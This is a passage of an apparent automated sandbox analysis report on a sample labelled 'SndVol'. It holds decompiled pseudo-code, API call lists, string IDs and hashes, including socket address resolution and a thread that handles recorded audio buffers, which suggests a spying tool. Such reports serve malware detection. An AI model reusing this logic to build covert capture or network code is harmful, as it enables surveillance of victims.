								__eflags = _v710;
								if(_v710 != 0) {
									continue;
								} else {
									goto L8;
								}
							}
						}
						L10:
						__eflags = _t158;
						if(_t158 != 0) {
							_t214 =  &_v272;
							_t243 = _t214 + 2;
							do {
								_t159 =  *_t214;
								_t214 = _t214 + 2;
								__eflags = _t159 - _v704;
							} while (_t159 != _v704);
							_v720 = (_t214 - _t243 >> 1) + 1;
							_t162 = E00446087(_t214 - _t243 >> 1, 4 + ((_t214 - _t243 >> 1) + 1) * 2);
							_v732 = _t162;
							__eflags = _t162;
							if(_t162 == 0) {
								goto L1;
							} else {
								_v724 =  *((intOrPtr*)(_t253 + _t246));
								_t35 = _t207 * 4; // 0xcf25
								_v736 =  *((intOrPtr*)(_t246 + _t35 + 0xa0));
								_t38 = _t246 + 8; // 0x8b56ff8b
								_v740 =  *_t38;
								_t223 =  &_v272;
								_v712 = _t162 + 4;
								_t166 = E00447A31(_t162 + 4, _v720,  &_v272);
								_t268 = _t266 + 0xc;
								__eflags = _t166;
								if(_t166 != 0) {
									_t167 = _v704;
									_push(_t167);
									_push(_t167);
									_push(_t167);
									_push(_t167);
									_push(_t167);
									E0043BC69();
									asm("int3");
									_t169 =  *0x472518; // 0x0
									return _t169;
								} else {
									__eflags = _v272 - 0x43;
									 *((intOrPtr*)(_t253 + _t246)) = _v712;
									if(_v272 != 0x43) {
										L19:
										_t172 = E00444520(_t207, _t223, _t246,  &_v700);
										_t225 = _v704;
										 *(_t246 + 0xa0 + _t207 * 4) = _t172;
									} else {
										__eflags = _v270;
										if(_v270 != 0) {
											goto L19;
										} else {
											_t225 = _v704;
											 *(_t246 + 0xa0 + _t207 * 4) = _t225;
										}
									}
									__eflags = _t207 - 2;
									if(_t207 != 2) {
										__eflags = _t207 - 1;
										if(_t207 != 1) {
											__eflags = _t207 - 5;
											if(_t207 == 5) {
												 *((intOrPtr*)(_t246 + 0x14)) = _v708;
											}
										} else {
											 *((intOrPtr*)(_t246 + 0x10)) = _v708;
										}
									} else {
										_t258 = _v728;
										_t244 = _t225;
										_t235 = _t258;
										 *(_t246 + 8) = _v708;
										_v712 = _t258;
										_v720 = _t258[8];
										_v708 = _t258[9];
										while(1) {
											_t64 = _t246 + 8; // 0x8b56ff8b
											__eflags =  *_t64 -  *_t235;
											if( *_t64 ==  *_t235) {
												break;
											}
											_t259 = _v712;
											_t244 = _t244 + 1;
											_t204 =  *_t235;
											 *_t259 = _v720;
											_v708 = _t235[1];
											_t235 = _t259 + 8;
											 *((intOrPtr*)(_t259 + 4)) = _v708;
											_t207 = _v744;
											_t258 = _v728;
											_v720 = _t204;
											_v712 = _t235;
											__eflags = _t244 - 5;
											if(_t244 < 5) {
												continue;
											} else {
											}
											L27:
											__eflags = _t244 - 5;
											if(__eflags == 0) {
												_t88 = _t246 + 8; // 0x8b56ff8b
												_t195 = E0045107D(_t207, _t244, _t246, _t258, __eflags, _v704, 1, 0x45d518, 0x7f,  &_v528,  *_t88, 1);
												_t268 = _t268 + 0x1c;
												__eflags = _t195;
												_t196 = _v704;
												if(_t195 == 0) {
													_t258[1] = _t196;
												} else {
													do {
														 *(_t262 + _t196 * 2 - 0x20c) =  *(_t262 + _t196 * 2 - 0x20c) & 0x000001ff;
														_t196 = _t196 + 1;
														__eflags = _t196 - 0x7f;
													} while (_t196 < 0x7f);
													_t199 = E00436F3A( &_v528,  *0x471170, 0xfe);
													_t268 = _t268 + 0xc;
													__eflags = _t199;
													_t258[1] = 0 | _t199 == 0x00000000;
												}
												_t103 = _t246 + 8; // 0x8b56ff8b
												 *_t258 =  *_t103;
											}
											 *(_t246 + 0x18) = _t258[1];
											goto L38;
										}
										__eflags = _t244;
										if(_t244 != 0) {
											 *_t258 =  *(_t258 + _t244 * 8);
											_t258[1] =  *(_t258 + 4 + _t244 * 8);
											 *(_t258 + _t244 * 8) = _v720;
											 *(_t258 + 4 + _t244 * 8) = _v708;
										}
										goto L27;
									}
									L38:
									_t173 = _t207 * 0xc;
									_t110 = _t173 + 0x45d458; // 0x41034e
									 *0x4594fc(_t246);
									_t175 =  *((intOrPtr*)( *_t110))();
									_t228 = _v724;
									__eflags = _t175;
									if(_t175 == 0) {
										__eflags = _t228 - 0x4712a8;
										if(_t228 != 0x4712a8) {
											_t257 = _t207 + _t207;
											__eflags = _t257;
											asm("lock xadd [eax], ecx");
											if(_t257 != 0) {
												goto L43;
											} else {
												_t128 = _t257 * 8; // 0x30ff068b
												E00446652( *((intOrPtr*)(_t246 + _t128 + 0x28)));
												_t131 = _t257 * 8; // 0x30ff0c46
												E00446652( *((intOrPtr*)(_t246 + _t131 + 0x24)));
												_t134 = _t207 * 4; // 0xcf25
												E00446652( *((intOrPtr*)(_t246 + _t134 + 0xa0)));
												_t231 = _v704;
												 *((intOrPtr*)(_v716 + _t246)) = _t231;
												 *(_t246 + 0xa0 + _t207 * 4) = _t231;
											}
										}
										_t229 = _v732;
										 *_t229 = 1;
										 *((intOrPtr*)(_t246 + 0x28 + (_t207 + _t207) * 8)) = _t229;
									} else {
										 *(_v716 + _t246) = _t228;
										_t115 = _t207 * 4; // 0xcf25
										E00446652( *((intOrPtr*)(_t246 + _t115 + 0xa0)));
										 *(_t246 + 0xa0 + _t207 * 4) = _v736;
										E00446652(_v732);
										 *(_t246 + 8) = _v740;
										goto L1;
									}
									goto L2;
								}
							}
						} else {
							goto L2;
						}
						goto L47;
					}
					asm("sbb eax, eax");
					_t158 = _t157 | 0x00000001;
					__eflags = _t158;
					goto L10;
				} else {
					L1:
					L2:
					return E00434F3B(_v8 ^ _t262);
				}
				L47:
			}

























































                                    0x004450cc
                                    0x004450d4
                                    0x004450db
                                    0x004450de
                                    0x004450df
                                    0x004450e2
                                    0x004450e6
                                    0x004450e7
                                    0x004450ea
                                    0x004450fa
                                    0x00445106
                                    0x0044511d
                                    0x00445122
                                    0x00445127
                                    0x0044513c
                                    0x0044513f
                                    0x0044513f
                                    0x00445142
                                    0x00445148
                                    0x00445151
                                    0x00445153
                                    0x00445156
                                    0x0044515d
                                    0x00445160
                                    0x00445166
                                    0x00000000
                                    0x00000000
                                    0x00445168
                                    0x0044516c
                                    0x00445195
                                    0x00445195
                                    0x0044516e
                                    0x0044516e
                                    0x00445172
                                    0x00445176
                                    0x0044517d
                                    0x00445183
                                    0x00000000
                                    0x00445185
                                    0x00445185
                                    0x00445188
                                    0x0044518b
                                    0x00445193
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00445193
                                    0x00445183
                                    0x004451a2
                                    0x004451a2
                                    0x004451a4
                                    0x004451aa
                                    0x004451b0
                                    0x004451b3
                                    0x004451b3
                                    0x004451b6
                                    0x004451b9
                                    0x004451b9
                                    0x004451c9
                                    0x004451d7
                                    0x004451dc
                                    0x004451e3
                                    0x004451e5
                                    0x00000000
                                    0x004451eb
                                    0x004451f1
                                    0x004451f7
                                    0x004451fe
                                    0x00445204
                                    0x00445207
                                    0x0044520d
                                    0x0044521a
                                    0x00445221
                                    0x00445226
                                    0x00445229
                                    0x0044522b
                                    0x00445484
                                    0x0044548a
                                    0x0044548b
                                    0x0044548c
                                    0x0044548d
                                    0x0044548e
                                    0x0044548f
                                    0x00445494
                                    0x00445495
                                    0x0044549a
                                    0x00445231
                                    0x00445231
                                    0x0044523f
                                    0x00445242
                                    0x0044525d
                                    0x00445264
                                    0x0044526a
                                    0x00445270
                                    0x00445244
                                    0x00445244
                                    0x0044524c
                                    0x00000000
                                    0x0044524e
                                    0x0044524e
                                    0x00445254
                                    0x00445254
                                    0x0044524c
                                    0x00445277
                                    0x0044527a
                                    0x00445397
                                    0x0044539a
                                    0x004453a7
                                    0x004453aa
                                    0x004453b2
                                    0x004453b2
                                    0x0044539c
                                    0x004453a2
                                    0x004453a2
                                    0x00445280
                                    0x00445280
                                    0x00445286
                                    0x0044528e
                                    0x00445290
                                    0x00445293
                                    0x0044529c
                                    0x004452a5
                                    0x004452ab
                                    0x004452ab
                                    0x004452ae
                                    0x004452b0
                                    0x00000000
                                    0x00000000
                                    0x004452b2
                                    0x004452b8
                                    0x004452b9
                                    0x004452c4
                                    0x004452cc
                                    0x004452d4
                                    0x004452d7
                                    0x004452da
                                    0x004452e0
                                    0x004452e6
                                    0x004452ec
                                    0x004452f2
                                    0x004452f5
                                    0x00000000
                                    0x00000000
                                    0x004452f7
                                    0x0044531c
                                    0x0044531c
                                    0x0044531f
                                    0x00445323
                                    0x0044533c
                                    0x00445341
                                    0x00445344
                                    0x00445346
                                    0x0044534c
                                    0x00445387
                                    0x0044534e
                                    0x0044534e
                                    0x00445353
                                    0x0044535b
                                    0x0044535c
                                    0x0044535c
                                    0x00445373
                                    0x0044537a
                                    0x0044537d
                                    0x00445382
                                    0x00445382
                                    0x0044538a
                                    0x0044538d
                                    0x0044538d
                                    0x00445392
                                    0x00000000
                                    0x00445392
                                    0x004452f9
                                    0x004452fb
                                    0x00445300
                                    0x00445306
                                    0x0044530f
                                    0x00445318
                                    0x00445318
                                    0x00000000
                                    0x004452fb
                                    0x004453b5
                                    0x004453b5
                                    0x004453b9
                                    0x004453c1
                                    0x004453c7
                                    0x004453ca
                                    0x004453d0
                                    0x004453d2
                                    0x00445412
                                    0x00445418
                                    0x0044541f
                                    0x0044541f
                                    0x00445425
                                    0x00445429
                                    0x00000000
                                    0x0044542b
                                    0x0044542b
                                    0x0044542f
                                    0x00445434
                                    0x00445438
                                    0x0044543d
                                    0x00445444
                                    0x00445452
                                    0x00445458
                                    0x0044545b
                                    0x0044545b
                                    0x00445429
                                    0x0044546a
                                    0x00445472
                                    0x0044547b
                                    0x004453d4
                                    0x004453da
                                    0x004453dd
                                    0x004453e4
                                    0x004453f6
                                    0x004453fd
                                    0x0044540a
                                    0x00000000
                                    0x0044540a
                                    0x00000000
                                    0x004453d2
                                    0x0044522b
                                    0x004451a6
                                    0x00000000
                                    0x004451a6
                                    0x00000000
                                    0x004451a4
                                    0x0044519d
                                    0x0044519f
                                    0x0044519f
                                    0x00000000
                                    0x00445129
                                    0x00445129
                                    0x0044512b
                                    0x0044513b
                                    0x0044513b
                                    0x00000000

                                    APIs
                                      • Part of subcall function 004480E5: GetLastError.KERNEL32(00000020,?,0043A745,?,?,?,0043F8F8,?,?,00000020,00000000,?,?,?,0042DC53,0000003B), ref: 004480E9
                                      • Part of subcall function 004480E5: _free.LIBCMT ref: 0044811C
                                      • Part of subcall function 004480E5: SetLastError.KERNEL32(00000000,0043F8F8,?,?,00000020,00000000,?,?,?,0042DC53,0000003B,?,00000041,00000000,00000000), ref: 0044815D
                                      • Part of subcall function 004480E5: _abort.LIBCMT ref: 00448163
                                    • _memcmp.LIBVCRUNTIME ref: 00445373
                                    • _free.LIBCMT ref: 004453E4
                                    • _free.LIBCMT ref: 004453FD
                                    • _free.LIBCMT ref: 0044542F
                                    • _free.LIBCMT ref: 00445438
                                    • _free.LIBCMT ref: 00445444
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: _free$ErrorLast$_abort_memcmp
                                    • String ID: C
                                    • API String ID: 1679612858-1037565863
                                    • Opcode ID: 59d40065a4cbe5102d15f81aa6f5b39fb8ea3fe90dd876ee960f138c35506124
                                    • Instruction ID: 9fdccea064657989f632600c2f1541470cdcad4a2309f0839e25213175f59bd7
                                    • Opcode Fuzzy Hash: 59d40065a4cbe5102d15f81aa6f5b39fb8ea3fe90dd876ee960f138c35506124
                                    • Instruction Fuzzy Hash: 8DB13775A016199BEF24DF19C884BAEB7B4FF08304F1085AEE849A7351E774AE90CF44
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 00414858 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 225COMMON
                                    Download Yara Rule
                                    C-Code - Quality: 45%
                                    			E00414858(signed int _a4, signed int _a8, signed int _a12, signed int _a16) {
				intOrPtr _v0;
				char _v4;
				signed int _v8;
				signed short _v12;
				signed int _v16;
				signed int _v20;
				signed short _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v48;
				signed int _t70;
				signed short _t81;
				signed int _t82;
				signed short _t85;
				signed short _t86;
				void* _t88;
				signed int _t97;
				signed char _t99;
				void* _t100;
				signed int _t107;
				signed short _t108;
				signed int _t110;
				signed int _t116;
				signed int* _t118;
				signed int _t119;
				signed int _t120;
				intOrPtr _t121;

				_t110 = _a8;
				_t99 = 0;
				_t120 = _a4;
				_t97 = 0;
				_v28 = 0;
				_v16 = 0;
				_v32 = 0;
				_v4 = 0;
				_v12 = 0;
				_v24 = 0;
				_v8 = 0;
				_v20 = 0;
				_t119 = 0;
				_t118 = _a16;
				 *_t118 = 0;
				if(_t120 != 0 || _t110 != 0) {
					_t70 = _a12;
					__eflags = _t70;
					if(_t70 == 0) {
						L20:
						_a16 = _t97;
						__eflags = _t110;
						if(_t110 == 0) {
							L40:
							__eflags = _t120;
							if(_t120 == 0) {
								__eflags = _v28 & 0x00000001;
								_t100 = 0;
								_t72 =  !=  ? _t100 : 0x7f000001;
								__imp__#8(0x7f000001);
								_t121 =  !=  ? _t100 : 0x7f000001;
								L47:
								_t73 = E004145BB(_t97, _v20, __eflags, _v36, _t121);
								 *_t118 = _t73;
								__eflags = _t73;
								if(_t73 != 0) {
									__eflags = _v0 - _t119;
									if(_v0 == _t119) {
										L54:
										__eflags = _v28;
										if(_v28 == 0) {
											L57:
											return _t119;
										}
										_t119 = E004147DF(_v24,  *_t118);
										__eflags = _t119;
										if(_t119 == 0) {
											goto L57;
										}
										L56:
										E0041481D(_t73,  *_t118);
										 *_t118 =  *_t118 & 0x00000000;
										__eflags =  *_t118;
										goto L57;
									}
									 *_t73 =  *_t73 | 0x00000004;
									__eflags = _v32 & 0x00000002;
									if((_v32 & 0x00000002) == 0) {
										goto L54;
									}
									__imp__#12(_t121);
									 *((intOrPtr*)( *_t118 + 0x14)) = E0041453D(_t73);
									_t73 =  *_t118;
									__eflags =  *((intOrPtr*)(_t73 + 0x14)) - _t119;
									if( *((intOrPtr*)(_t73 + 0x14)) != _t119) {
										goto L54;
									}
									_t119 = 8;
									L53:
									__eflags = _t119;
									if(_t119 != 0) {
										goto L56;
									}
									goto L54;
								}
								_t119 = 8;
								goto L56;
							}
							__eflags = E00414575(_t120,  &_v4);
							if(__eflags != 0) {
								_t121 = _v4;
								goto L47;
							}
							_t73 = _v28;
							__eflags = _t73 & 0x00000004;
							if((_t73 & 0x00000004) == 0) {
								_push(_t118);
								_push(_t73 & 0x00000002);
								_push(_v32);
								_push(_v16);
								_t119 = E004146D4(_t120, _t97);
								goto L53;
							}
							_t119 = 0x2af9;
							goto L56;
						}
						_t107 = E0043F81F(_t99, _t110,  &_v12, 0xa) & 0x0000ffff;
						_t81 = _v12;
						_v32 = _t107;
						__eflags =  *_t81;
						if( *_t81 != 0) {
							__eflags = _t97;
							if(_t97 == 0) {
								L26:
								__imp__#55(_a8, "udp");
								__eflags = _t81;
								if(_t81 != 0) {
									_t85 =  *(_t81 + 8) & 0x0000ffff;
									_v28 = _t85;
									_t81 = _t85 & 0x0000ffff;
									_v40 = _t81;
								}
								L28:
								__eflags = _t97;
								if(_t97 == 0) {
									L30:
									__imp__#55(_v0, "tcp");
									_t116 = 1;
									__eflags = _t81;
									if(_t81 == 0) {
										L32:
										_t108 = _v24;
										_t82 = _v48;
										L33:
										__eflags = _t82;
										if(_t82 != 0) {
											__eflags = _t97;
											if(_t97 != 0) {
												goto L40;
											}
											__eflags = _t108;
											_t97 = (_t97 & 0xffffff00 | _t108 == 0x00000000) + 1;
											__eflags = _t108;
											if(_t108 == 0) {
												L39:
												_t48 =  &_v40;
												 *_t48 = _v40 & _t119;
												__eflags =  *_t48;
												goto L40;
											}
											__eflags = _v36 - _t119;
											if(_v36 == _t119) {
												goto L39;
											}
											_v40 = _t116;
											goto L40;
										}
										__eflags = _t97;
										_t84 =  !=  ? 0x277d : 0x2af9;
										return  !=  ? 0x277d : 0x2af9;
									}
									_t108 =  *(_t81 + 8) & 0x0000ffff;
									_t82 = _t108 & 0x0000ffff;
									_v48 = _t82;
									goto L33;
								}
								_t116 = 1;
								__eflags = _t97 - 1;
								if(_t97 != 1) {
									goto L32;
								}
								goto L30;
							}
							__eflags = _t97 - 2;
							if(_t97 != 2) {
								goto L28;
							}
							goto L26;
						}
						__imp__#9(_t107);
						_t86 = _t81 & 0x0000ffff;
						__eflags = _t97;
						_v24 = _t86;
						_v36 = _t86 & 0x0000ffff;
						_t88 = 1;
						_t97 =  ==  ? _t88 : _t97;
						__eflags = _a12;
						_v28 = 0 | _a12 == 0x00000000;
						goto L40;
					}
					__eflags =  *((intOrPtr*)(_t70 + 0x10)) - _t99;
					if( *((intOrPtr*)(_t70 + 0x10)) != _t99) {
						L23:
						return 0x2afb;
					}
					__eflags =  *((intOrPtr*)(_t70 + 0x14)) - _t99;
					if( *((intOrPtr*)(_t70 + 0x14)) != _t99) {
						goto L23;
					}
					__eflags =  *((intOrPtr*)(_t70 + 0x18)) - _t99;
					if( *((intOrPtr*)(_t70 + 0x18)) != _t99) {
						goto L23;
					}
					__eflags =  *((intOrPtr*)(_t70 + 0x1c)) - _t99;
					if( *((intOrPtr*)(_t70 + 0x1c)) != _t99) {
						goto L23;
					}
					_t99 =  *_t70;
					_v28 = _t99;
					__eflags = _t99 & 0x00000002;
					if((_t99 & 0x00000002) == 0) {
						L11:
						__eflags =  *((intOrPtr*)(_t70 + 4)) - _t97;
						if( *((intOrPtr*)(_t70 + 4)) == _t97) {
							L14:
							_t97 =  *(_t70 + 8);
							__eflags = _t97;
							if(_t97 == 0) {
								L19:
								_v16 =  *((intOrPtr*)(_t70 + 0xc));
								goto L20;
							}
							__eflags = _t97 - 1;
							if(_t97 == 1) {
								goto L19;
							}
							__eflags = _t97 - 2;
							if(_t97 == 2) {
								goto L19;
							}
							__eflags = _t97 - 3;
							if(_t97 == 3) {
								goto L19;
							}
							return 0x273c;
						}
						__eflags =  *((intOrPtr*)(_t70 + 4)) - 2;
						if( *((intOrPtr*)(_t70 + 4)) == 2) {
							goto L14;
						}
						return 0x273f;
					}
					__eflags = _t120;
					if(_t120 != 0) {
						goto L11;
					}
					return 0x2726;
				} else {
					return 0x2af9;
				}
			}
































                                    0x0041485b
                                    0x0041485f
                                    0x00414863
                                    0x00414867
                                    0x00414869
                                    0x0041486d
                                    0x00414871
                                    0x00414875
                                    0x00414879
                                    0x0041487d
                                    0x00414881
                                    0x00414885
                                    0x0041488a
                                    0x0041488d
                                    0x00414891
                                    0x00414895
                                    0x004148a5
                                    0x004148a9
                                    0x004148ab
                                    0x00414926
                                    0x00414926
                                    0x0041492a
                                    0x0041492c
                                    0x00414a26
                                    0x00414a26
                                    0x00414a28
                                    0x00414a6b
                                    0x00414a77
                                    0x00414a78
                                    0x00414a7c
                                    0x00414a82
                                    0x00414a84
                                    0x00414a8f
                                    0x00414a94
                                    0x00414a96
                                    0x00414a98
                                    0x00414a9f
                                    0x00414aa3
                                    0x00414ad0
                                    0x00414ad0
                                    0x00414ad5
                                    0x00414af2
                                    0x00000000
                                    0x00414af2
                                    0x00414ae2
                                    0x00414ae4
                                    0x00414ae6
                                    0x00000000
                                    0x00000000
                                    0x00414ae8
                                    0x00414aea
                                    0x00414aef
                                    0x00414aef
                                    0x00000000
                                    0x00414aef
                                    0x00414aa5
                                    0x00414aa8
                                    0x00414aad
                                    0x00000000
                                    0x00000000
                                    0x00414ab0
                                    0x00414abf
                                    0x00414ac2
                                    0x00414ac4
                                    0x00414ac7
                                    0x00000000
                                    0x00000000
                                    0x00414acb
                                    0x00414acc
                                    0x00414acc
                                    0x00414ace
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00414ace
                                    0x00414a9c
                                    0x00000000
                                    0x00414a9c
                                    0x00414a35
                                    0x00414a37
                                    0x00414a65
                                    0x00000000
                                    0x00414a65
                                    0x00414a39
                                    0x00414a3d
                                    0x00414a3f
                                    0x00414a4b
                                    0x00414a51
                                    0x00414a52
                                    0x00414a58
                                    0x00414a61
                                    0x00000000
                                    0x00414a61
                                    0x00414a41
                                    0x00000000
                                    0x00414a41
                                    0x0041493f
                                    0x00414945
                                    0x00414949
                                    0x0041494d
                                    0x00414950
                                    0x0041498b
                                    0x0041498d
                                    0x00414994
                                    0x0041499d
                                    0x004149a3
                                    0x004149a5
                                    0x004149a7
                                    0x004149ab
                                    0x004149af
                                    0x004149b2
                                    0x004149b2
                                    0x004149b6
                                    0x004149b6
                                    0x004149b8
                                    0x004149c1
                                    0x004149ca
                                    0x004149d2
                                    0x004149d3
                                    0x004149d5
                                    0x004149e4
                                    0x004149e4
                                    0x004149e8
                                    0x004149ec
                                    0x004149ec
                                    0x004149ef
                                    0x00414a05
                                    0x00414a07
                                    0x00000000
                                    0x00000000
                                    0x00414a09
                                    0x00414a0f
                                    0x00414a10
                                    0x00414a13
                                    0x00414a22
                                    0x00414a22
                                    0x00414a22
                                    0x00414a22
                                    0x00000000
                                    0x00414a22
                                    0x00414a15
                                    0x00414a1a
                                    0x00000000
                                    0x00000000
                                    0x00414a1c
                                    0x00000000
                                    0x00414a1c
                                    0x004149f1
                                    0x004149fd
                                    0x00000000
                                    0x004149fd
                                    0x004149d7
                                    0x004149db
                                    0x004149de
                                    0x00000000
                                    0x004149de
                                    0x004149bc
                                    0x004149bd
                                    0x004149bf
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x004149bf
                                    0x0041498f
                                    0x00414992
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00414992
                                    0x00414953
                                    0x00414959
                                    0x0041495c
                                    0x0041495e
                                    0x00414965
                                    0x0041496b
                                    0x0041496c
                                    0x00414971
                                    0x00414978
                                    0x00000000
                                    0x00414978
                                    0x004148ad
                                    0x004148b0
                                    0x00414981
                                    0x00000000
                                    0x00414981
                                    0x004148b6
                                    0x004148b9
                                    0x00000000
                                    0x00000000
                                    0x004148bf
                                    0x004148c2
                                    0x00000000
                                    0x00000000
                                    0x004148c8
                                    0x004148cb
                                    0x00000000
                                    0x00000000
                                    0x004148d1
                                    0x004148d3
                                    0x004148d7
                                    0x004148da
                                    0x004148ea
                                    0x004148ea
                                    0x004148ed
                                    0x004148ff
                                    0x004148ff
                                    0x00414902
                                    0x00414904
                                    0x0041491f
                                    0x00414922
                                    0x00000000
                                    0x00414922
                                    0x00414906
                                    0x00414909
                                    0x00000000
                                    0x00000000
                                    0x0041490b
                                    0x0041490e
                                    0x00000000
                                    0x00000000
                                    0x00414910
                                    0x00414913
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00414915
                                    0x004148ef
                                    0x004148f3
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x004148f5
                                    0x004148dc
                                    0x004148de
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x0041489b
                                    0x00000000
                                    0x0041489b

                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID:
                                    • String ID: tcp$udp
                                    • API String ID: 0-3725065008
                                    • Opcode ID: 19c1a46422393ebfb7d8d11f05418db973863f1da69477e3379017a49137e471
                                    • Instruction ID: 8c307c9bada892f90f11d93b136130a22676f7fd2532427f8d8bdca38c5c71cc
                                    • Opcode Fuzzy Hash: 19c1a46422393ebfb7d8d11f05418db973863f1da69477e3379017a49137e471
                                    • Instruction Fuzzy Hash: 0F7197B0A483428FDB24DE2884806ABB7E0AFD4785F15443FF88587351D778CD858B9A
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0040186A Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 142threadCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 94%
                                    			E0040186A(void* __edx, intOrPtr _a8, intOrPtr _a16) {
				char _v32;
				void* _v52;
				char _v64;
				void* _v76;
				char _v96;
				void* _v100;
				char _v120;
				void* _v124;
				char _v144;
				void* _v148;
				char _v168;
				void* _v172;
				char _v192;
				void* _v196;
				char _v216;
				char _v220;
				char _v232;
				char _v240;
				void* __ebx;
				void* __esi;
				void* __ebp;
				void* _t28;
				void* _t32;
				void* _t33;
				void* _t34;
				void* _t40;
				signed int _t59;
				void* _t107;
				void* _t121;
				signed int _t122;
				void* _t124;

				_t107 = __edx;
				_t124 = (_t122 & 0xfffffff8) - 0xdc;
				if( *0x476bc0 >  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x2c])) + 4))) {
					E00434338(0x476bc0);
					_t127 =  *0x476bc0 - 0xffffffff;
					if( *0x476bc0 == 0xffffffff) {
						E004046F7(0x476b40, _t121, 0);
						E004346C2(_t127, E00457E80);
						E004342F9(0x476bc0, 0x476bc0);
					}
				}
				E004020DF(0,  &_v220);
				_t28 = _a8 - 0x3be;
				if(_t28 == 0) {
					L10:
					 *0x476bc4 = 0;
					goto L11;
				} else {
					if(_t28 != 0) {
						L11:
						return E00401FD8();
					}
					_t130 =  *0x472a84 - 1;
					if( *0x472a84 != 1) {
						_t32 = E00401E65(0x474d58, _t107, _t121, _t130,  *0x476bc4);
						_t33 = E004020B7(0,  &_v32, _t107, _t121, _t130, _a16, 0x20);
						_t34 = E004020B7(0,  &_v64, _t107, _t121, _t130, 0x472aa8, 0x12);
						_t113 = E00402F10(0,  &_v192, E00402EA1( &_v168, E00402F10(0,  &_v144, E00402EA1( &_v120, E00402F31( &_v96, 0x474d98, _t121, 0x474ee0), _t34), _t121, _t130, 0x474ee0), _t33), _t121, _t130, 0x474ee0);
						_t40 = E00402F10(0,  &_v216, _t39, _t121, _t130, _t32);
						_t13 =  &_v240; // 0x474ee0
						E00401FE2(_t13, _t39, 0x474ee0, _t40);
						E00401FD8();
						E00401FD8();
						E00401FD8();
						E00401FD8();
						E00401FD8();
						E00401FD8();
						E00401FD8();
						E00401FD8();
						waveInUnprepareHeader( *0x472ac8, ( *0x476bc4 << 5) +  *0x474d94, 0x20);
						E004017EC( *0x476bc4, _t39, _t130);
						_t131 =  *0x476b44 - 0xffffffff;
						if( *0x476b44 == 0xffffffff) {
							E0040482D(0x476b40);
							E004048C8(0x476b40, 0x474ee0, 0x476b40);
						}
						E004020F6(0, _t124 - 0x18, _t113, _t131,  &_v232);
						_push(0x61);
						E00404AA1(0x476b40, _t113, _t131);
						_t59 =  *0x476bc4 + 1;
						 *0x476bc4 = _t59;
						if(_t59 < 2) {
							goto L11;
						} else {
							goto L10;
						}
					}
					E00404E26(_t107);
					ExitThread(0);
				}
			}


































                                    0x0040186a
                                    0x00401876
                                    0x00401893
                                    0x0040189b
                                    0x004018a0
                                    0x004018a8
                                    0x004018ad
                                    0x004018b7
                                    0x004018be
                                    0x004018c3
                                    0x004018a8
                                    0x004018c8
                                    0x004018d0
                                    0x004018d5
                                    0x00401a55
                                    0x00401a55
                                    0x00000000
                                    0x004018db
                                    0x004018df
                                    0x00401a5b
                                    0x00401a6a
                                    0x00401a6a
                                    0x004018e5
                                    0x004018ec
                                    0x00401907
                                    0x0040191f
                                    0x00401934
                                    0x00401983
                                    0x00401989
                                    0x00401990
                                    0x00401994
                                    0x0040199d
                                    0x004019a6
                                    0x004019af
                                    0x004019b8
                                    0x004019c4
                                    0x004019d0
                                    0x004019dc
                                    0x004019e8
                                    0x00401a04
                                    0x00401a10
                                    0x00401a15
                                    0x00401a1c
                                    0x00401a20
                                    0x00401a28
                                    0x00401a28
                                    0x00401a37
                                    0x00401a3c
                                    0x00401a40
                                    0x00401a4a
                                    0x00401a4b
                                    0x00401a53
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00401a53
                                    0x004018f0
                                    0x004018f6
                                    0x004018f6

                                    APIs
                                    • __Init_thread_footer.LIBCMT ref: 004018BE
                                    • ExitThread.KERNEL32 ref: 004018F6
                                    • waveInUnprepareHeader.WINMM(?,00000020,00000000,?,00000020,00474EE0,00000000), ref: 00401A04
                                      • Part of subcall function 004346C2: __onexit.LIBCMT ref: 004346C8
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: ExitHeaderInit_thread_footerThreadUnprepare__onexitwave
                                    • String ID: @kG$XMG$NG$NG
                                    • API String ID: 1649129571-2828059001
                                    • Opcode ID: 971f7aa56c7b7eab79bd0417f8164f896a2114c070eb057cd0d7dd6a65d8955a
                                    • Instruction ID: 944455254eca4583c13d3ec67c350fc65b5e0356f74adae14ee79fa205306a86
                                    • Opcode Fuzzy Hash: 971f7aa56c7b7eab79bd0417f8164f896a2114c070eb057cd0d7dd6a65d8955a
                                    • Instruction Fuzzy Hash: 1441B3312042009BC324FB26DD96ABE73A6EB85354F00453FF55AA61F2DF386E49C65E
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 00407963 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 102fileCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 88%
                                    			E00407963(intOrPtr __ecx, void* __eflags, intOrPtr _a8, char _a12, char _a16, void* _a36, char _a40, void _a52, char _a64, intOrPtr _a100052, intOrPtr _a100072, char _a100080) {
				long _v0;
				char _v8;
